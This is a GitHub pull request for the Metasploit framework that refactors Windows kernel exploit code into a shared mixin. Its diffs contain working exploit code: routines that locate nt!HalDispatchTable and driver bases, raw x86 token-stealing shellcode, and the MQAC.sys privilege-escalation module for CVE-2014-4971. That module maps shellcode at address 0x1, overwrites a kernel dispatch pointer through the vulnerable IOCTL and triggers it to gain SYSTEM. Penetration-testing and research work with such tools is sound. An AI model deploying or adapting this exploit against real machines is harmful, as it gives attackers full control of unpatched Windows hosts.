Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WindowsKernel Exploit Mixin And Module Refactoring #3612

Merged
merged 11 commits into from
Aug 10, 2014
164 changes: 164 additions & 0 deletions lib/msf/core/exploit/local/windows_kernel.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,164 @@
# -*- coding: binary -*-

module Msf
module Exploit::Local::WindowsKernel
include Msf::PostMixin
include Msf::Post::Windows::Error

#
# Find the address of nt!HalDispatchTable.
#
# @return [Integer] The address of nt!HalDispatchTable.
# @return [nil] If the address could not be found.
#
def find_haldispatchtable
kernel_address, kernel_name = find_sys_base(nil)
if kernel_address.nil? || kernel_name.nil?
print_error("Failed to find the address of the Windows kernel")
return nil
end
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")

h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
if h_kernel['return'] == 0
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
return nil
end
h_kernel = h_kernel['return']

hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
if hal_dispatch_table['return'] == 0
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
return nil
end
hal_dispatch_table = hal_dispatch_table['return']

hal_dispatch_table -= h_kernel
hal_dispatch_table += kernel_address
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
hal_dispatch_table
end

#
# Find the load address for a device driver on the session.
#
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
# if this value is nil.
# @return [Array] An array containing the base address and the located drivers name.
# @return [nil] If the name specified could not be found.
#
def find_sys_base(drvname)
if sysinfo['Architecture'] =~ /(x86|wow64)/i
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think railgun.util exposes pointer_size which is a bit neater

   def pointer_size
     is_64bit ? 8 : 4
   end

ptr_size = 4
else
ptr_size = 8
end

results = session.railgun.psapi.EnumDeviceDrivers(0, 0, ptr_size)
unless results['return']
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], ptr_size)
unless results['return']
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack((ptr_size == 4 ? 'V' : 'Q') + '*')

addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
if results['return'] == 0
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
current_drvname = results['lpBaseName'][0,results['return']]
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return address, current_drvname
end
elsif drvname == current_drvname
return address, current_drvname
end
end
end

#
# Open a device on a meterpreter session with a call to CreateFileA and return
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
# are specified as nil.
#
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
# @return [Integer] The device handle.
# @return [nil] If the call to CreateFileA failed.
#
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
if handle['return'] == INVALID_HANDLE_VALUE
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
return nil
end
handle['return']
end

#
# Generate token stealing shellcode suitable for use when overwriting the
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
# registers.
#
# @param target [Hash] The target information containing the offsets to _KPROCESS,
# _TOKEN, _UPID and _APLINKS.
# @param backup_token [Integer] An optional location to write a copy of the
# original token to so it can be restored later.
# @param arch [String] The architecture to return shellcode for. If this is nil,
# the arch will be guessed from the target and then module information.
# @return [String] The token stealing shellcode.
# @raise [ArgumentError] If the arch is incompatible.
#
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
end
if arch.nil?
print_error('Can not determine the target architecture')
fail ArgumentError, 'Invalid arch'
end

tokenstealing = ''
case arch
when ARCH_X86
tokenstealing << "\x52" # push edx # Save edx on the stack
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would be good to get the assembly source in the same external/ data/ locations as existing assembly usermode payloads. Although that could come later.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not so sure about this since the shellcode as it's provided is not a payload.

tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
unless backup_token.nil?
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
end
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
else
# if this is reached the issue most likely exists in the exploit module
print_error('Unsupported arch for token stealing shellcode')
fail ArgumentError, 'Invalid arch'
end
tokenstealing
end
end
end
2 changes: 1 addition & 1 deletion lib/msf/core/post/windows/error.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2527,5 +2527,5 @@ module Msf::Post::Windows::Error
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
HASH_NOT_SUPPORTED = 0x3BC4
HASH_NOT_PRESENT = 0x3BC5

INVALID_HANDLE_VALUE = 0xffffffff
end
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def

class Def_psapi

def self.create_dll(dll_path = 'psapi')
dll = DLL.new(dll_path, ApiConstants.manager)

dll.add_function('EnumDeviceDrivers', 'BOOL',[
%w(PBLOB lpImageBase out),
%w(DWORD cb in),
%w(PDWORD lpcbNeeded out)
])

dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
%w(LPVOID ImageBase in),
%w(PBLOB lpBaseName out),
%w(DWORD nSize in)
])

return dll
end

end

end; end; end; end; end; end; end
Original file line number Diff line number Diff line change
Expand Up @@ -78,7 +78,8 @@ class Railgun
'crypt32',
'wlanapi',
'wldap32',
'version'
'version',
'psapi'
].freeze

##
Expand Down
103 changes: 25 additions & 78 deletions modules/exploits/windows/local/mqac_write.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,16 +4,16 @@
##

require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process

INVALID_HANDLE_VALUE = 0xFFFFFFFF

def initialize(info = {})
super(update_info(info,
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
Expand Down Expand Up @@ -41,6 +41,7 @@ def initialize(info = {})
[
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
Expand All @@ -52,41 +53,13 @@ def initialize(info = {})
[
%w(CVE 2014-4971),
%w(EDB 34112),
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt)
],
'DisclosureDate' => 'Jul 22 2014',
'DefaultTarget' => 0
))
end

def find_sys_base(drvname)
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
lp_image_base = %w(PBLOB lpImageBase out)
cb = %w(DWORD cb in)
lpcb_needed = %w(PDWORD lpcbNeeded out)
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
[lp_image_base, cb, lpcb_needed])
image_base = %w(LPVOID ImageBase in)
lp_base_name = %w(PBLOB lpBaseName out)
n_size = %w(DWORD nSize in)
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
[image_base, lp_base_name, n_size])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')

addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end

# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
Expand All @@ -106,20 +79,9 @@ def get_system_proc
end
end

def open_device
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
handle = handle['return']
if handle == 0
print_error('Failed to open the \\\\.\\MQAC device')
return nil
end
handle
end

def check
handle = open_device
if handle.nil? || handle == INVALID_HANDLE_VALUE
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
print_error('MSMQ installation not found')
return Exploit::CheckCode::Safe
end
Expand Down Expand Up @@ -155,12 +117,9 @@ def exploit
# results in a BSOD and so we should not let that happen.
return unless check == Exploit::CheckCode::Appears

kernel_info = find_sys_base(nil)
base_addr = 0xffff
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

handle = open_device
return if handle.nil? || handle == INVALID_HANDLE_VALUE
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return if handle.nil?

this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr)
Expand All @@ -175,41 +134,29 @@ def exploit
return
end

hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
'HalDispatchTable')
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!

shellcode = make_nops(0x200) + tokenstealing
haldispatchtable = find_haldispatchtable
return if haldispatchtable.nil?
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")

vprint_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
hal_base = hal_info[0]
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']

restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax

shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
this_proc.memory.write(0x1, shellcode)
this_proc.close

print_status('Triggering vulnerable IOCTL')
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
1, 0x258,
halDispatchTable + 0x4, 0)
haldispatchtable + 4, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

unless is_system?
Expand Down